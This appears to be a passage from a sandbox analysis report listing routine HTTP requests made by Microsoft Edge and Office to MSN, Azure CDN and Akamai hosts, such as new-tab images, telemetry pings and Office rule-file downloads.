Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0286CA52A44560A23542DF67A512618F&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=c6f380221fc044eda76b4549b55eb323 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0286CA52A44560A23542DF67A512618F; _EDGE_S=F=1&SID=1341F8B1FCF76AE33A6EED84FD4C6B7F; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731381388485&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=9b3abdd6251a4230bf51a1aefee3a88a&activityId=9b3abdd6251a4230bf51a1aefee3a88a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=C2568DB3F3164F8F8DB62A832E48B224&MUID=0286CA52A44560A23542DF67A512618F HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0286CA52A44560A23542DF67A512618F; _EDGE_S=F=1&SID=1341F8B1FCF76AE33A6EED84FD4C6B7F; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
